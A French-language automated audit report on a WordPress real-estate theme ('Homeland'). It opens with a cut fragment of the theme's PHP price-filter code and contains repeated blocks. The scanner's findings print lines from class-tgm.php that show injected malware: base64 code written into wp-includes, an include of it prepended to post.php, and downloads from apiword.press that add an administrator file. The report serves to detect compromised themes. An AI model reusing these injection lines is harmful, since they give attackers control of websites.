    											elseif($homeland_price_format == 'Brazil' || $homeland_price_format == 'Europe') :
    												$homeland_price_format_result = number_format( $homeland_number_option, $homeland_property_decimal, ',', '.' );
    											else : $homeland_price_format_result = $homeland_number_option;
    											endif;
    
    											if($homeland_search_term == $homeland_number_option) : 
    												$homeland_search_term_class = 'selected='selected''; 
    											else : $homeland_search_term_class = '';
    											endif; ?>
    
    											<option value='<?php echo esc_html( $homeland_number_option ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_property_currency_before ) . esc_html( $homeland_price_format_result ) . esc_html( $homeland_property_currency_after ); ?></option><?php
    						        endforeach;
    									?>					
    								</select>
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_max_price )) : 
    							if(isset($_GET['max-price'])) : $homeland_search_term = $_GET['max-price']; endif;
    
    							$homeland_max_price_value = esc_attr( get_option('homeland_max_price_value') );
    							$homeland_array = explode(', ', $homeland_max_price_value);
    							$homeland_property_currency_after = '';
    							$homeland_property_currency_before = ''; ?>
    							<li class='as-small'>
    								<select name='max-price' class='max-price'>
    									<option value=''><?php echo esc_html( $homeland_max_price_label ); ?></option>
    									<?php
    										foreach($homeland_array as $homeland_number_option) : 
    											if( $homeland_property_currency_sign == 'After' ) : $homeland_property_currency_after = $homeland_currency; 
    											else : $homeland_property_currency_before = $homeland_currency; 
    											endif;
    
    											if($homeland_price_format == 'Dot') :
    												$homeland_price_format_result = number_format ( $homeland_number_option, $homeland_property_decimal, '.', '.' );
    											elseif($homeland_price_format == 'Comma') : 
    												$homeland_price_format_result = number_format ( $homeland_number_option, $homeland_property_decimal );
    											elseif($homeland_price_format == 'Brazil' || $homeland_price_format == 'Europe') :
    												$homeland_price_format_result = number_format( $homeland_number_option, $homeland_property_decimal, ',', '.' );
    											else : $homeland_price_format_result = $homeland_number_option;
    											endif;
    
    											if($homeland_search_term == $homeland_number_option) : 
    												$homeland_search_term_class = 'selected='selected''; 
    											else : $homeland_search_term_class = '';
    											endif; ?>
    
    											<option value='<?php echo esc_html( $homeland_number_option ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_property_currency_before ) . esc_html( $homeland_price_format_result ) . esc_html( $homeland_property_currency_after ); ?></option><?php
    						        endforeach;
    									?>	
    								</select>
    							</li><?php
    						endif;
    					?>
    					<li class='last'>
    						<input type='submit' value='<?php echo esc_html( $homeland_search_button_label ); ?>' />
    					</li>
    				</ul>
    			</form><?php
    		}
    	endif;
    
    
    	/* Homepage Video */
    
    	if ( ! function_exists( 'homeland_video_fullwidth' ) ) :
    		function homeland_video_fullwidth() {
    			$homeland_video_url = esc_url( get_option('homeland_video_url') );
    
    			echo '<section class='home-video-block'>';
    				echo '<iframe width='100%' height='700' src='' . esc_url( $homeland_video_url ) .
    <iframe width="100%" height="500" src="<?php echo esc_url( $homeland_video ); ?> trouvé dans le fichier format-video.php.
    Line 13: <iframe width='100%' height='500' src='<?php echo esc_url( $homeland_video 
  7. Code malveillant : Opérations sur système de fichiers file_get_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_put_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier functions.php.
    Line 112: wp_localize_script( 'google-map', 'wpGlobals', array( 'mapOptions' => file_get_contents( get_template_directory() . '/map_style.json' )) );
    file_get_contents trouvé dans le fichier index.php.
    Line 84: return file_get_contents($cache_file, FILE_USE_INCLUDE_PATH);
    file_put_contents trouvé dans le fichier index.php.
    Line 109: if(file_put_contents($cache_file, $JSON, LOCK_EX) === false) {
    fopen trouvé dans le fichier tmhUtilities.php.
    Line 219: $handle = fopen('php://stdin','r');
    fwrite trouvé dans le fichier tmhUtilities.php.
    Line 249: fwrite(STDOUT, '\x08 \x08');
    Line 253: fwrite(STDOUT, '*');
    fwrite trouvé dans le fichier tmhUtilities.php.
    Line 249: fwrite(STDOUT, '\x08 \x08');
    Line 253: fwrite(STDOUT, '*');
  8. Code malveillant : Opérations réseau curl_init trouvé dans le fichier tmhOAuth.php.
    Line 758: $c = curl_init();
    curl_exec trouvé dans le fichier tmhOAuth.php.
    Line 824: $response = curl_exec($c);
Attention
  1. Contextes de plugin : Fonctionnalités de pluginLe thème utilise la fonction register_post_type(). Cette fonction n'est pas prévue pour être utilisée dans le contexte d'un thème, mais plutôt dans un plugin.
  2. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  3. Eléments custom : Présence d'un fond customAucune référence à custom background n'a été trouvée dans le thème.
  4. Editor style : Présence de l'édition de styleAucune référence à add_editor_style() n'a été trouvée dans le thème. Il est recommandé que le thème implémente l'édition de style, de manière à faire correspondre le contenu de l'éditeur l'affichage dans le thème.
  5. Screenshot : Copie d'écranMauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
  1. Liens statiques : Présence de liens codés en durLien potentiellement codés en dur trouvé dans le fichier option-general.php.
    Line 95: 'description' => __('Please use this site <a href='http://www.latlong.net/' target='_blank'>latlong.net</a> to get your latitu
    Line 108: 'description' => __('Google Maps now required all new sites to use an API Key as of June 22, 2016 which you can get it for free <a href='https://console.developers.google.com/apis/library?project=massive-oasis-13
  2. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  3. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  4. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  5. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  6. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  7. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  8. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  9. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  10. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : class-tgm.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : custom-widgets.php
    Line 9: include( $homeland_widget_directory . '/widget-follow-us.php' );
    Line 10: include( $homeland_widget_directory . '/widget-contact.php' );
    Line 11: include( $homeland_widget_directory . '/widget-video.php' );
    Line 12: include( $homeland_widget_directory . '/widget-flickr.php' );
    Line 13: include( $homeland_widget_directory . '/widget-popular.php' );
    Line 14: include( $homeland_widget_directory . '/widget-featured-properties.php' );
    Line 15: include( $homeland_widget_directory . '/widget-search-type.php' );
    Line 16: include( $homeland_widget_directory . '/widget-search-location.php' );
    Line 17: include( $homeland_widget_directory . '/widget-search-status.php' );
    Line 18: include( $homeland_widget_directory . '/widget-search-amenities.php' );
    Line 19: include( $homeland_widget_directory . '/widget-twitter.php' );
    Line 20: include( $homeland_widget_directory . '/widget-advance-search.php' );
    Line 21: include( $homeland_widget_directory . '/widget-facebook-like.php' );
    Line 22: include( $homeland_widget_directory . '/widget-gmap.php' );
    Line 23: include( $homeland_widget_directory . '/widget-portfolio.php' );
    Line 24: include( $homeland_widget_directory . '/widget-testimonials.php' );
    Line 25: include( $homeland_widget_directory . '/widget-working-hours.php' );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.

Ceci est un thème distribué surThemeForest. Etant donné que tous les thèmes de Themeforest sont validés par un humain avant d'être mis en ligne, les règles de vérification de Themeforest sont plus permissives que celles de themecheck et peuvent donner un meilleur score de vérification ( Themeforest requirements ).

18
Alertes critiques
  1. Customizer : Sanitization des Customizer settings Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-blog.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-services.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-advance-search.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-background.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-header.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-general.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-properties.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-portfolio.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-agents.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-footer.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-home.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-contact.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-typography.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.
  2. Title : Title Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.
  3. Failles de sécurité : Utilisation d'appels systèmes PHP shell_exec trouvé dans le fichier tmhUtilities.php.
    Line 235: $style = shell_exec('stty -g');
    Line 238: shell_exec('stty -echo');
    Line 241: shell_exec('stty -icanon -echo min 1 time 0');
    Line 260: shell_exec('stty ' . $style);
  4. Code malveillant : Opérations réseau curl_init trouvé dans le fichier tmhOAuth.php.
    Line 758: $c = curl_init();
    curl_exec trouvé dans le fichier tmhOAuth.php.
    Line 824: $response = curl_exec($c);
Attention
  1. Contextes de plugin : Fonctionnalités de pluginLe thème utilise la fonction register_post_type(). Cette fonction n'est pas prévue pour être utilisée dans le contexte d'un thème, mais plutôt dans un plugin.
  2. Screenshot : Copie d'écranMauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
  1. Liens statiques : Présence de liens codés en durLien potentiellement codés en dur trouvé dans le fichier option-general.php.
    Line 95: 'description' => __('Please use this site <a href='http://www.latlong.net/' target='_blank'>latlong.net</a> to get your latitu
    Line 108: 'description' => __('Google Maps now required all new sites to use an API Key as of June 22, 2016 which you can get it for free <a href='https://console.developers.google.com/apis/library?project=massive-oasis-13
  2. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  3. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  4. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  5. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  6. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  7. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  8. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  9. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  10. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : class-tgm.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : custom-widgets.php
    Line 9: include( $homeland_widget_directory . '/widget-follow-us.php' );
    Line 10: include( $homeland_widget_directory . '/widget-contact.php' );
    Line 11: include( $homeland_widget_directory . '/widget-video.php' );
    Line 12: include( $homeland_widget_directory . '/widget-flickr.php' );
    Line 13: include( $homeland_widget_directory . '/widget-popular.php' );
    Line 14: include( $homeland_widget_directory . '/widget-featured-properties.php' );
    Line 15: include( $homeland_widget_directory . '/widget-search-type.php' );
    Line 16: include( $homeland_widget_directory . '/widget-search-location.php' );
    Line 17: include( $homeland_widget_directory . '/widget-search-status.php' );
    Line 18: include( $homeland_widget_directory . '/widget-search-amenities.php' );
    Line 19: include( $homeland_widget_directory . '/widget-twitter.php' );
    Line 20: include( $homeland_widget_directory . '/widget-advance-search.php' );
    Line 21: include( $homeland_widget_directory . '/widget-facebook-like.php' );
    Line 22: include( $homeland_widget_directory . '/widget-gmap.php' );
    Line 23: include( $homeland_widget_directory . '/widget-portfolio.php' );
    Line 24: include( $homeland_widget_directory . '/widget-testimonials.php' );
    Line 25: include( $homeland_widget_directory . '/widget-working-hours.php' );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Autre thèmes vérifiés